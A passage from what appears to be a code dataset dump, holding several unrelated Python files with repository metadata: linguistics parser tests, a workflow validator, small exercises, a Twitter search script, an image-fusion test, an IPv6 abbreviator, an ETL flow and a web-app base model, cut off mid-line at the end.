Theme(e1,x), ISA(x,DOG), ISA(x1,CAT)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betaPUs():\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n comma = s.get_semtree('betaPUs', ',')\n run = run.substitute(dog, \"NP_0\")\n run = run.adjoin(comma, \"S_r\")\n sem = SemanticParser.parse(\"motion(during(e1),x), Theme(e1,x), ISA(x,DOG)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betaVs():\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n does = s.get_semtree('betaPUs', 'does')\n run = run.substitute(dog, \"NP_0\")\n run = run.adjoin(does, \"S_r\")\n sem = SemanticParser.parse(\"motion(during(e1),x), Theme(e1,x), ISA(x,DOG)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betanx1CONJnx2():\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n cat = s.get_semtree('alphaNXN', 'cat')\n conj = s.get_semtree('betanx1CONJnx2', 'and')\n run = run.substitute(dog, 'NP_0')\n run = run.adjoin(conj, \"NP_0\")\n run = run.substitute(cat, \"NP_2\")\n sem = SemanticParser.parse(\"motion(e1,AND(x1,x2)), Theme(e1,AND(x1,x2)), ISA(x1,DOG), ISA(x2,CAT)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betanxGnx():\n dog = s.get_semtree('alphaNXN', 'dog')\n john = s.get_semtree('alphaNXN', 'John')\n poss = s.get_semtree('betanxGnx', '\\'s')\n dog = dog.adjoin(poss, \"NP\")\n dog = dog.substitute(john, \"NP-1\")\n sem = SemanticParser.parse(\"belongs_to(x1,x2), ISA(x2,JOHN), ISA(x1,DOG)\")\n assert dog.full_semantics().equiv(sem)\n\ndef test_betavxPs():\n because = s.get_semtree('betavxPs', 'because')\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n run2 = s.get_semtree('alphanx0V', 'run', lemma='run')\n cat = s.get_semtree('alphaNXN', 'cat')\n run = run.substitute(dog, \"NP_0\")\n run2 = run2.substitute(cat, \"NP_0\")\n run = run.adjoin(because, \"VP\")\n run = run.substitute(run2, \"S\")\n sem = SemanticParser.parse(\"motion(e1,x1), Theme(e1,x1), ISA(x1,DOG), because(e1,e2), motion(e2,x2), Theme(e2,x2), ISA(x2,CAT)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betas1CONJs2():\n conj = s.get_semtree('betas1CONJs2', 'and')\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n run2 = s.get_semtree('alphanx0V', 'run', lemma='run')\n cat = s.get_semtree('alphaNXN', 'cat')\n run = run.substitute(dog, \"NP_0\")\n run2 = run2.substitute(cat, \"NP_0\")\n run = run.adjoin(conj, 'S_r')\n run = run.substitute(run2, 'S_2')\n assert str(run.sem_var) == \"AND(e1,e2)\"\n sem = SemanticParser.parse(\"motion(during(e1),x), Theme(e1,x), ISA(x,DOG), motion(during(e2),x1), Theme(e2,x1), ISA(x1,CAT)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betaARBs():\n run = s.get_semtree('alphanx0V', 'run', lemma='run')\n dog = s.get_semtree('alphaNXN', 'dog')\n obv = s.get_semtree('betaARBs', 'obviously')\n run = run.substitute(dog, \"NP_0\")\n run = run.adjoin(obv, \"S_r\")\n sem = SemanticParser.parse(\"motion(during(e1),x), Theme(e1,x), ISA(x,DOG), obviously(e1)\")\n assert run.full_semantics().equiv(sem)\n\ndef test_betaCONJs():\n conj = s.get_semtree('betaCONJs', 'and')\n chase = s.get_semtree('alphanx0Vnx1', 'chase', lemma='chase')\n cat = s.get_semtree('alphaNXN', 'cat')\n dog = s.get_semtree('alphaNXN', 'dog')\n chase = conj.substitute(chase, 'S_r')\n chase = chase.substitute(cat, 'NP_0')\n chase = chase.substitute(dog, 'NP_1')\n sem = SemanticParser.parse(\"motion(during(e1),x0), motion(during(e1),x1), Agent(e1,x0), ISA(x0,CAT), Theme(e1,x1), ISA(x1,DOG)\")\n assert chase.full_semantics().equiv(sem)\n\nif __name__ == '__main__':\n funcs = [\n test_alphanx0Vnx1,\n test_betaAn,\n test_betaVvx,\n test_betanxPnx,\n test_betavxPnx,\n test_betasPUs,\n test_betaARBvx,\n test_betanxPUnx,\n test_betaPUs,\n test_betaVs,\n test_betanx1CONJnx2,\n test_betanxGnx,\n test_betavxPs,\n test_betas1CONJs2,\n test_betaARBs,\n test_betaCONJs,\n ]\n for func in funcs:\n func()\n\n print(g.get(\"alphaN1s0\").tree_family)\n print(g.get(\"betanx0Vs1\").tree_family)\n print(g.get(\"alphas0N1\").tree_family)\n\n tree_set = [\n #\"alphaNXN\", # 78483 \n #\"betaDnx\", # 31668 \n #\"betaNn\", # 21141 \n #\"betaVvx\", # 15070 \n #\"betaAn\", # 13792 \n #\"betanxPnx\", # 8997 \n #\"betavxPnx\", # 8917 \n #\"betasPUs\", # 5689 \n #\"alphanx0Vnx1\", # 4493 \n #\"alphanx1V\", # 4420 \n #\"alphanx1V-PRO\", # 4170 \n \"alphaN1s0\", # 3662 \n \"betanx0Vs1\", # 3615 \n \"alphas0N1\", # 3495 \n #\"betaARBvx\", # 3256 \n #\"betanxPUnx\", # 3140 \n #\"alphanx0Vnx1-PRO\", # 3082 \n #\"betaVs\", # 2668 \n #\"betaPUs\", # 2628 \n #\"betanx1CONJnx2\", # 2568 \n #\"betanxGnx\", # 2489 \n #\"betavxPs\", # 2299 \n #\"betas1CONJs2\", # 2169 \n #\"betaARBs\", # 2015 \n #\"betaCONJs\", # 1966 \n \"alphanx0Pnx1\", # 1875 \n \"betanxPUs\", # 1821 \n \"alphanx0BEnx1\", # 1813 \n \"betaCOMPs\", # 1786 \n \"alphanx0N1-PRO\", # 1734 \n \"betaPnxs\", # 1627 \n \"betavxARB\", # 1558 \n \"alphanx0Pnx1-PRO\", # 1483 \n \"alphanx0N1\", # 1380 \n \"betasPU\", # 1371 \n \"betanx0Vs1-PRO\", # 1318 \n \"betaPss\", # 1228 \n \"betaN1nx1V\", # 1217 \n \"alphanx0Ax1\", # 1171 \n \"alphanx0Ax1-PRO\", # 1166 \n \"alphas0Ax1\", # 1041 \n \"alphanx0V\", # 987 \n \"alphaD\", # 941 \n \"alphaXGnx0Vs1\", # 937 \n \"alphaPu\", # 889 \n \"alphanx0V-PRO\", # 848 \n \"betaN0nx0Vnx1\", # 720 \n \"alphaPXPnx\", # 687 \n \"betaARBa\", # 687 \n \"betan1CONJn2\", # 678 \n \"alphaN\", # 678 \n \"alphaDnx0V\", # 630 \n \"alphanx2Vnx1\", # 609 \n \"betasPUnx\", # 607 \n \"betaXnx0Vs1\", # 568 \n \"betavxN\", # 528 \n \"betaN0nx0N1\", # 502 \n \"alphaNXNs\", # 498 \n \"betaNPnx1nx0Pnx1\", # 496 \n \"betaN0nx0Pnx1\", # 482 \n \"betaNEGvx\", # 461 \n \"alphanx2Vnx1-PRO\", # 405 \n \"alphaNXnxG\", # 402 \n \"alphaXW0nx0Vs1\", # 384 \n \"alphaDnx0Vs1\", # 340 \n \"betaVergativen\", # 325 \n \"alphapW1nx0Pnx1\", # 313 \n \"betaN1nx0Pnx1\", # 301 \n \"betaXNc0nx0Vs1\", # 295 \n \"betanxN\", # 293 \n \"betaN0nx0Ax1\", # 290 \n \"betaN0nx0V\", # 286 \n \"alphaP\", # 260 \n \"betaCnxPnx\", # 239 \n \"alphaW1nx1V\", # 234 \n \"betaARBnx\", # 233 \n \"betaENc1nx1V\", # 232 \n \"betanx1Vs2-PRO\", # 205 \n \"betanx1Vs2\", # 203 \n \"betaspuPs\", # 203 \n \"betaNpxs0N1\", # 193 \n \"betaN1nx0Vnx1\", # 188 \n \"betaNs\", # 186 \n \"betaa1CONJa2\", # 180 \n \"alphaA\", # 176 \n \"betaARBpx\", # 175 \n \"alphaW0nx0Vnx1\", # 172 \n \"betaXInx0Vs1\", # 163 \n \"betaARBd\", # 154 \n \"betaXNcnx0Vs1\", # 150 \n \"betaNpxnx1V\", # 141 \n \"alphas0Vnx1\", # 136 \n \"alphanx0Vplnx1\", # 135 \n \"betaN0nx0Vs1\", # 134 \n \"betanxARB\", # 131 \n \"alphanx0Vnx2nx1\", # 130 \n \"alphanx1Vpl\", # 117 \n \"betaNvx\", # 113 \n \"alphaEW1nx1V\", # 112 \n \"betaARBarb\", # 109 \n \"alphanx0Vplnx1-PRO\", # 106 \n \"betaspuPnx\", # 105 \n \"alphanx1Vpl-PRO\", # 104 \n \"betaCARBarb\", # 101 \n \"betaspuARB\", # 100 \n \"alphaW1nx0Vnx1\", # 99 \n \"betaspunxV\", # 99 \n \"betanx0Vnx1s2\", # 94 \n \"betaXnx0Vs1-PRO\", # 89 \n \"betanxPs\", # 86 \n \"betaCARBa\", # 84 \n \"betaspuVnx\", # 80 \n \"alphaAXA\", # 80 \n \"alphaW0nx0Vs1\", # 78 \n \"betaVvx-adj\", # 76 \n \"alphaDnxG\", # 73 \n \"alphaW0s0N1\", # 73 \n \"alphaW0nx0Pnx1\", # 72 \n \"alphaW0nx0V\", # 70 \n \"alphas0Vs1\", # 68 \n \"alphanx0Px1-PRO\", # 67 \n \"betaNpxnx0Vnx1\", # 66 \n \"betanx0Vnx1s2-PRO\", # 64 \n \"alphanx0Px1\", # 64 \n \"betanxVpus\", # 63 \n \"betavPU\", # 60 \n \"alphanx0VPnx1\", # 56 \n \"betapx1CONJpx2\", # 56 \n \"alphanx1Vpnx2-PRO\", # 53 \n \"betaaxPnx\", # 52 \n \"betapuARBpuvx\", # 52 \n \"betanxARBs\", # 52 \n \"alphaW1nx0Pnx1\", # 52 \n \"betaNpxs0Ax1\", # 52 \n \"alphanx0Vnx2nx1-PRO\", # 51 \n \"betanxP\", # 51 \n \"alphanx0Vnx1pnx2\", # 48 \n \"betavxnxARB\", # 48 \n \"alphanx0Vax1\", # 46 \n \"alphanx1Vpnx2\", # 45 \n \"alphaEnx1V\", # 45 \n \"alphaW1nx0N1\", # 44 \n \"betadD\", # 43 \n \"betaNEGa\", # 42 \n \"betaNpxnx0Pnx1\", # 41 \n \"alphaAd\", # 40 \n \"betaNpxnx0V\", # 39 \n \"alphanx0VPnx1-PRO\", # 37 \n \"alphaEnx1V-PRO\", # 37 \n \"alphaW0nx0N1\", # 37 \n \"betaN1nx2Vnx1\", # 36 \n \"betaNpxnx0Ax1\", # 35 \n \"betaENcnx1V\", # 35 \n \"alphaW0nx0Ax1\", # 35 \n \"betaN2nx2Vnx1\", # 34 \n \"alphanx0Vpl-PRO\", # 31 \n \"alphanx0N1s1-PRO\", # 31 \n \"alphaW1nx0Vs1\", # 30 \n \"alphanx1VPnx2\", # 30 \n \"alphanx0N1s1\", # 29 \n \"alphaAV\", # 29 \n \"alphaW0s0Ax1\", # 27 \n \"alphanx0Vpl\", # 27 \n \"alphanx1VP-PRO\", # 26 \n \"alphaW1nx2Vnx1\", # 26 \n \"betanxPUa\", # 25 \n \"betaN0nx0Px1\", # 25 \n \"betaNpxnx0N1\", # 24 \n \"alphaW2nx0Vnx2nx1\", # 24 \n \"betapuPpuvx\", # 23 \n \"betaN1nx1Vpl\", # 22 \n \"betavxP\", # 22 \n \"alphanx0Vnx1pl\", # 22 \n \"betaN0nx0Vplnx1\", # 22 \n \"betaN2nx0Vnx2nx1\", # 21 \n \"alphanx0Vnx1pl-PRO\", # 21 \n \"betaarb1CONJarb2\", # 20 \n \"alphanx1VPnx2-PRO\", # 20 \n \"alphanx1VP\", # 20 \n \"alphanx0Vax1-PRO\", # 20 \n \"alphaPW1nx0Px1\", # 19 \n \"alphaDEnx1V\", # 18 \n \"betanxnxARB\", # 18 \n \"betapunxVpuvx\", # 18 \n \"betaXN0nx0Vs1\", # 18 \n \"betaARBPss\", # 17 \n \"alphanx0lVN1\", # 17 \n \"alphaW2nx2Vnx1\", # 16 \n \"alphanx0Vnx1pnx2-PRO\", # 16 \n \"alphaW1nx0Vnx2nx1\", # 15 \n \"betaNpxnx0Vs1\", # 14 \n \"betaARBarbs\", # 14 \n \"betap1CONJp2\", # 14 \n \"betaN1nx1Vpnx2\", # 14 \n \"alphanx0Vnx1Pnx2\", # 13 \n \"betapunxVnx1pus\", # 12 \n \"betad1CONJd2\", # 12 \n \"alphapW1ItVpnx1s2\", # 12 \n \"betaax1CONJax2\", # 11 \n \"betavxARBPnx\", # 11 \n \"betaN1nx1Vs2\", # 11 \n \"betasnxARB\", # 10 \n \"alphanx0Vpnx1\", # 10 \n \"betaEN1nx1V\", # 10 \n \"betaspunxVnx1\", # 10 \n \"alphanx0Vpnx1-PRO\", # 9 \n \"betanARB\", # 9 \n \"betaN0nx0Vnx2nx1\", # 9 \n \"betaN0nx0Vpl\", # 9 \n \"betaaARB\", # 9 \n \"alphaW0nx0Vplnx1\", # 8 \n \"betaN0nx0Vax1\", # 8 \n \"alphaDnx0VPnx1\", # 7 \n \"alphanx0Vnx1Pnx2-PRO\", # 7 \n \"betaN1nx0Vnx2nx1\", # 7 \n \"betaARBPnxs\", # 7 \n \"alphapW2nx0Vnx1pnx2\", # 7 \n \"alphaW1ItVnx1s2\", # 7 \n \"alphanx1Vp-PRO\", # 7 \n \"alphaAXAs\", # 6 \n \"alphaW0nx0Px1\", # 6 \n \"alphaDnx0Vpl\", # 6 \n \"betaN1nx0Vplnx1\", # 6 \n \"betavpunxVpu\", # 6 \n \"alphaPXP\", # 5 \n \"betaN0nx0VPnx1\", # 5 \n \"betavpuVnxpu\", # 5 \n \"alphanx1Vp\", # 5 \n \"betaN0nx0Vnx1s2\", # 5 \n \"alphaW0nx0Vnx2nx1\", # 5 \n \"betaDAax\", # 4 \n \"alphaW1nx0Vnx1s2\", # 4 \n \"betaXNpxnx0Vs1\", # 4 \n \"alphaW1nx1Vs2\", # 4 \n \"alphaW1nx0Vplnx1\", # 4 \n \"alphanx0lVN1-PRO\", # 4 \n \"betaNPvx\", # 4 \n \"alphapW2nx1Vpnx2\", # 4 \n \"betaNpxnx1Vpl\", # 4 \n \"alphaW1ItVad1s2\", # 4 \n \"betavxDN\", # 4 \n \"alphaW1nx1Vpl\", # 3 \n \"alphaW0nx0VPnx1\", # 3 \n \"betaN0nx0Vnx1pl\", # 3 \n \"betavxARBPs\", # 3 \n \"betaARBpx1CONJpx2\", # 3 \n \"betavxDA\", # 3 \n \"betanx1CONJARBnx2\", # 3 \n \"alphaW1nx1VPnx2\", # 3 \n \"betapuVnxpuvx\", # 3 \n \"betaN1nx0Vnx1s2\", # 3 \n \"betasARB\", # 3 \n \"alphaW0nx0Vnx1s2\", # 3 \n \"betaN1nx1VP\", # 3 \n \"betapPU\", # 3 \n \"alphaW0s0Vs1\", # 2 \n \"betaN0nx0Vnx1pnx2\", # 2 \n \"betaVvx-arb\", # 2 \n \"betaNpxnx0VPnx1\", # 2 \n \"betaPNss\", # 2 \n \"betaNpxs0Vnx1\", # 2 \n \"betaN1nx0VPnx1\", # 2 \n \"betaNpxnx0Vpl\", # 2 \n \"betaNpx2nx1Vpnx2\", # 2 \n \"betaDNax\", # 2 \n \"betaN1nx1Vp\", # 2 \n \"betaNpxnx2Vnx1\", # 2 \n \"alphaW0nx0Vpl\", # 2 \n \"betaNpx2nx0Vnx1pnx2\", # 2 \n \"betaN1nx1VPnx2\", # 2 \n \"alphaW0s0Vnx1\", # 2 \n \"alphaW1nx1VP\", # 2 \n \"alphaREGnx1VPnx2\", # 2 \n \"alphaW2nx0Vnx1s2\", # 2 \n \"alphaREInx1VA2\", # 2 \n \"betaN2nx1Vpnx2\", # 2 \n \"betaNpxItVad1s2\", # 2 \n \"betaNpxnx0Px1\", # 1 \n \"betaNpxnx0Vnx1pl\", # 1 \n \"alphaRnx1VA2\", # 1 \n \"betaN0nx0Vnx1Pnx2\", # 1 \n \"betaNpxnx0Vplnx1\", # 1 \n \"betaNpxnx1Vpnx2\", # 1 \n \"alphaRW0nx0Vnx1Pnx2\", # 1 \n \"alphaW0nx0Vax1\", # 1 \n \"betapunxVnx1puvx\", # 1 \n \"alphaW0nx0Vnx1Pnx2\", # 1 \n \"betanxARBPnx\", # 1 \n \"betaNpxnx1Vs2\", # 1 \n \"alphaW1InvItVnx1s2\", # 1 \n \"alphaW0nx0N1s1\", # 1 \n \"betaN0nx0N1s1\", # 1 \n \"alphaW0nx0Vnx1pnx2\", # 1 \n \"alphaW0nx0Vnx1pl\", # 1 \n \"alphanx0APnx1-PRO\", # 1 \n \"betaspuARBPs\", # 1 \n \"betaN2nx0Vnx1pnx2\", # 1 \n \"alphanx0lVnx2N1\", # 1 \n \"betaNpxnx1VP\", # 1 \n \"betaNpxnx0Vnx2nx1\", # 1 \n \"betaENpxnx1V\", # 1 \n \"betaNPnxs\", # 1 \n \"betaN1nx0Vnx1Pnx2\", # 1 \n \"betaNpxItVnx1s2\", # 1 \n \"alphaDnx0Vpnx1\", # 1 \n \"alphaW1nx1Vpnx2\", # 1 \n \"betaNpx2nx1VPnx2\", # 1 \n \"betaARBnx1CONJnx2\", # 1 \n \"alphapW1nx0Vpnx1\", # 1 \n \"betavxPNs\", # 1 \n \"betaDApx\", # 1 \n \"betaNpx1nx0VPnx1\", # 1 \n \"betaN0nx0lVN1\", # 1 \n \"betaNpxs0NPnx1\", # 1 \n \"alphaW1nx0VPnx1\", # 1 \n ]\n","repo_name":"jonpiffle/xtag_verbnet","sub_path":"test_semantics.py","file_name":"test_semantics.py","file_ext":"py","file_size_in_byte":18385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"29047867086","text":"from bamboo_engine.eri import NodeType\nfrom bamboo_engine import exceptions\n\nfrom . import rules\nfrom .connection import (\n validate_graph_connection,\n validate_graph_without_circle,\n)\nfrom .gateway import validate_gateways, validate_stream\nfrom .utils import format_pipeline_tree_io_to_list\n\n\ndef validate_and_process_pipeline(pipeline: dict, cycle_tolerate=False):\n for subproc in [act for act in pipeline[\"activities\"].values() if act[\"type\"] == NodeType.SubProcess.value]:\n validate_and_process_pipeline(subproc[\"pipeline\"], cycle_tolerate)\n\n format_pipeline_tree_io_to_list(pipeline)\n # 1. connection validation\n validate_graph_connection(pipeline)\n\n # do not tolerate circle in flow\n if not cycle_tolerate:\n no_cycle = validate_graph_without_circle(pipeline)\n if not no_cycle[\"result\"]:\n raise exceptions.TreeInvalidException(no_cycle[\"message\"])\n\n # 2. gateway validation\n validate_gateways(pipeline)\n\n # 3. stream validation\n validate_stream(pipeline)\n\n\ndef add_sink_type(node_type: str):\n rules.FLOW_NODES_WITHOUT_STARTEVENT.append(node_type)\n rules.NODE_RULES[node_type] = rules.SINK_RULE\n","repo_name":"TencentBlueKing/bamboo-engine","sub_path":"bamboo_engine/validator/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"67"} +{"seq_id":"2455108207","text":"# Задайте список из нескольких чисел. \n# Напишите программу, которая найдёт сумму элементов списка, стоящих на нечётной позиции.\n\n# Пример:\n\n# - [2, 3, 5, 9, 3] -> на нечётных позициях элементы 3 и 9, ответ: 12\n\nsome_list=[]\nn=int(input('введите кол-во элементов в списке: '))\n\nfor i in range(n):\n some_list.append(input('введите элемент списка: '))\n\nprint(some_list)\nsumm=0\n\nfor i in range (1,len(some_list),2):\n summ = summ + int(some_list[i])\nprint(summ)","repo_name":"yurafast/python","sub_path":"Seminar-3/DZ-3/DZ-3_task-1.py","file_name":"DZ-3_task-1.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"19709491878","text":"from re import search\nimport tweepy\nimport json\nimport pandas as pd\n\n# Keys as defined by the Twitter API\n# Use dev.twitter.com to create an app and set up the keys\nconsumer_key = \"\"\nconsumer_secret = \"\"\n\naccess_token = \"\"\naccess_token_secret = \"\"\n\n# Using the Twitter 1.1 API. \nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token,access_token_secret)\n\napi = tweepy.API(auth)\n\nsearch_term = \"riotscienceclub\"\n\npublic_tweets = [] \n\ntweets = api.search_tweets(search_term)\n\nfor tweet in tweets:\n try:\n public_tweets.append(json.dumps(tweet._json))\n except Exception as te:\n print(te)\n continue\n\ndf = pd.json_normalize(public_tweets)\ndf.to_csv('riot1.csv')","repo_name":"iaine/riot","sub_path":"data_collection.py","file_name":"data_collection.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35418013191","text":"cases = int(input())\n\nfor k in range(cases):\n a, b, c = map(int, input().split())\n s1 = []\n s2 = []\n \n if a < b:\n a, b = b, a\n \n for i in range(b):\n s1.append(1)\n s2.append(1)\n \n for i in range(a - b):\n s1.append(s2[0])\n s2.pop()\n \n for i in range(a):\n s1.pop()\n \n while len(s2) != 0:\n s1.append(s2[0])\n s2.pop()\n \n total_sum = sum(s1)\n \n if (total_sum + b) == c or (total_sum + b - a) == c:\n print(\"Yes\")\n else:\n print(\"No\")\n","repo_name":"lokeshvelayudham/DataStructureAlgorathim-in-Python","sub_path":"2.dataStructures/skilltest2/waternJugs.py","file_name":"waternJugs.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"24428994523","text":"from PIL import Image\nimport numpy as np\nimport os\nimport torch\n\nimport time\nimport imageio\n\nimport torchvision.transforms as transforms\n\nfrom Networks.net import MODEL as net\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n\ndevice = torch.device('cuda:0')\n\n\nmodel = net(in_channel=2)\n\nmodel_path = \"models/model_10.pth\"\nuse_gpu = torch.cuda.is_available()\n\n\nif use_gpu:\n\n model = model.cuda()\n model.cuda()\n\n model.load_state_dict(torch.load(model_path))\n\nelse:\n\n state_dict = torch.load(model_path, map_location='cpu')\n\n model.load_state_dict(state_dict)\n\n\ndef fusion():\n\n for num in range(1):\n tic = time.time()\n\n path1 = './source images/SPECT_001.bmp'\n\n path2 = './source images/MRI_001.bmp'\n\n img1 = Image.open(path1).convert('L')\n img2 = Image.open(path2).convert('L')\n\n\n img1_org = img1\n img2_org = img2\n\n tran = transforms.ToTensor()\n\n img1_org = tran(img1_org)\n img2_org = tran(img2_org)\n input_img = torch.cat((img1_org, img2_org), 0).unsqueeze(0)\n if use_gpu:\n input_img = input_img.cuda()\n else:\n input_img = input_img\n\n model.eval()\n out = model(input_img)\n\n d = np.squeeze(out.detach().cpu().numpy())\n result = (d* 255).astype(np.uint8)\n imageio.imwrite('./fusion result/{}.bmp'.format(num),\n result)\n\n\n toc = time.time()\n print('end {}{}'.format(num // 10, num % 10), ', time:{}'.format(toc - tic))\n\n\n\nif __name__ == '__main__':\n\n fusion()\n","repo_name":"tthinking/MATR","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"67"} +{"seq_id":"32123381894","text":"class Abbreviation:\n \n def __init__(self, address):\n self.zero = \"0\"\n self.double_point = \":\"\n self.address = address\n self.liste = self.address.split(self.double_point)\n\n def handle_double_point(self, i):\n first = 2 \n last = 1\n if self.short_list(self.liste[i+last]) != self.zero:\n return i\n for j in range(i+first, len(self.liste)):\n if self.short_list(self.liste[j]) != self.zero:\n return j-last\n return len(self.liste)-last\n\n def short_list(self, list_item):\n base_ind = 4\n ind = base_ind\n for i in range(0, base_ind):\n if list_item[i] != self.zero:\n ind = i\n break\n if ind == base_ind:\n return self.zero\n ret = \"\"\n for i in range(ind, base_ind):\n ret += list_item[i]\n return ret\n\n def abbreviation(self):\n ret = \"\"\n base_ind = 0\n last = 1\n ind_for_list = 7\n ind = i = base_ind\n verify = True\n \n while i < len(self.liste) - last:\n abr = self.short_list(self.liste[i])\n if(abr != self.zero):\n ret += abr + self.double_point\n else:\n if verify == True:\n ind = self.handle_double_point(i)\n if ind != i:\n ret += self.double_point\n verify = False\n i = ind\n else:\n ret += abr + self.double_point\n else:\n ret += abr + self.double_point\n i = i + last\n \n if ind != ind_for_list:\n ret += self.short_list(self.liste[ind_for_list])\n \n return ret","repo_name":"johan-mickael/ip-addressing","sub_path":"ipv6_abbreviation_tools.py","file_name":"ipv6_abbreviation_tools.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39901228987","text":"from prefect import flow\nfrom prefect.task_runners import SequentialTaskRunner\nfrom gcs_to_bq_etl import etl_gcs_to_bq\nfrom web_to_gcs_etl import etl_web_to_gcs\n\n@flow (log_prints=True, retries=3, task_runner=SequentialTaskRunner())\ndef etl_main_flow(months: list = [1,2,3,4],\n year: int = 2021,\n colors: list = ['yellow', 'green']\n ) -> None:\n '''\n The main flow function accepting arguments describing datasets and \n calling the subflow function etl_web_to_gcs and with SequentialTaskRunner etl_gcs_to_bq. \n \n Args:\n months (list): The months the data comes from\n year (int): The year the data comes from\n colors (list): The collections from which the data comes\n \n Notes:\n See: https://www.nyc.gov/site/tlc/about/tlc-trip-record-data.page for more info.\n Data from official page available in .parquet format.\n '''\n for color in colors:\n for month in months:\n etl_web_to_gcs(year, month, color)\n etl_gcs_to_bq(year, month, color)\n \n\nif __name__ == \"__main__\":\n months = [1,2,3,4,5]\n year = 2021\n color = ['yellow', 'green']\n etl_main_flow(months, year, color)","repo_name":"MarieeCzy/ny_taxi_rides_zoomcamp_week4","sub_path":"etl/main_etl_script.py","file_name":"main_etl_script.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38260490396","text":"#!/usr/bin/env python3\n\"\"\"This module defines a base class for all models in our hbnb clone\"\"\"\nfrom uuid import uuid4\nfrom datetime import datetime\nfrom sqlalchemy import Column, String, DateTime\nfrom sqlalchemy.ext.declarative import declarative_base\nimport models\nfrom os import getenv\n\n\nif getenv('HBNB_TYPE_STORAGE') == \"db\":\n Base = declarative_base()\nelse:\n Base = object\n\n\nclass BaseModel:\n \"\"\"A base class for all hbnb models\"\"\"\n\n id = Column(String(60), primary_key=True, nullable=False)\n created_at = Column(DateTime, default=datetime.utcnow(), nullable=False)\n updated_at = Column(DateTime, default=datetime.utcnow(), nullable=False)\n\n def __init__(self, *args, **kwargs):\n \"\"\"Instatntiates a new model\"\"\"\n if not kwargs:\n from models import storage\n self.id = str(uuid4())\n self.created_at = datetime.now()\n self.updated_at = datetime.now()\n\n else:\n if \"updated_at\" in kwargs and \"updated_at\" in kwargs\\\n and \"__class__\" in kwargs:\n kwargs['updated_at'] = datetime.strptime(\n kwargs['updated_at'], \"%Y-%m-%dT%H:%M:%S.%f\")\n kwargs['created_at'] = datetime.strptime(\n kwargs['created_at'], \"%Y-%m-%dT%H:%M:%S.%f\")\n del kwargs['__class__']\n else:\n self.id = str(uuid4())\n self.created_at = datetime.now()\n self.updated_at = datetime.now()\n for k, v in kwargs.items():\n setattr(self, k, v)\n self.__dict__.update(kwargs)\n\n def __str__(self):\n \"\"\"Returns a string representation of the instance\"\"\"\n return \"[{}] ({}) {}\".format(\n type(self).__name__, self.id, self.__dict__)\n\n def save(self):\n \"\"\"Updates updated_at with current time when instance is changed\"\"\"\n self.updated_at=datetime.now()\n models.storage.new(self)\n models.storage.save()\n\n def to_dict(self):\n \"\"\"Convert instance into dict format\"\"\"\n dictionary = {}\n dictionary.update(self.__dict__)\n dictionary.update({'__class__': self.__class__.__name__})\n dictionary['created_at'] = self.created_at.isoformat()\n dictionary['updated_at'] = self.updated_at.isoformat()\n dictionary.pop(\"_sa_instance_state\", None)\n return dictionary\n\n def delete(self):\n \"\"\" delete the current instance from the storage (models.storage)\"\"\"\n models.storage.delete(self)\n","repo_name":"MiguelP4lacios/AirBnB_clone_v2","sub_path":"models/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2758050553","text":"import os\nimport sys, site\nimport time\nfrom sysconfig import get_path # new in python 3.2\nfrom datetime import date, datetime, timedelta\nfrom multiprocessing import cpu_count\n\n###### Local application imports ######\nimport config\n# !! execute the next 3 lines before importing from nautical/eventtables !!\nconfig.WINpf = True if sys.platform.startswith('win') else False\nconfig.LINUXpf = True if sys.platform.startswith('linux') else False\nconfig.MACOSpf = True if sys.platform == 'darwin' else False\nconfig.FANCYhd = False # default for TeX Live <= \"TeX Live 2019/Debian\"\nconfig.CPUcores = cpu_count()\n# NOTE: Multiprocessing on Windows using 'spawn' requires all variables modified\n# and stored in config.py to be re-calculated for every spawned process!\n# NOTE: multiprocessing is supported in modules: nautical, eventtables\nfrom alma_skyfield import init_sf\nfrom ld_skyfield import ld_init_sf\nfrom nautical import almanac # multiprocessing supported\nfrom suntables import sunalmanac\nfrom eventtables import makeEVtables # multiprocessing supported\nfrom ld_tables import makeLDtables\nfrom ld_charts import makeLDcharts\nfrom increments import makelatex\n\n# Some modules in skyalmanac have been ported from the original source code ...\n# this may explain why sections of code are not consolidated. Furthermore two\n# separate Skyfield modules are used with obvious repetition of code. This\n# simplifies porting from the original code for development and testing.\n\ndef toUnix(fn):\n # replacing parentheses with square brackets in Ubuntu works, but is not required.\n if squarebr and (config.LINUXpf or config.MACOSpf):\n fn = 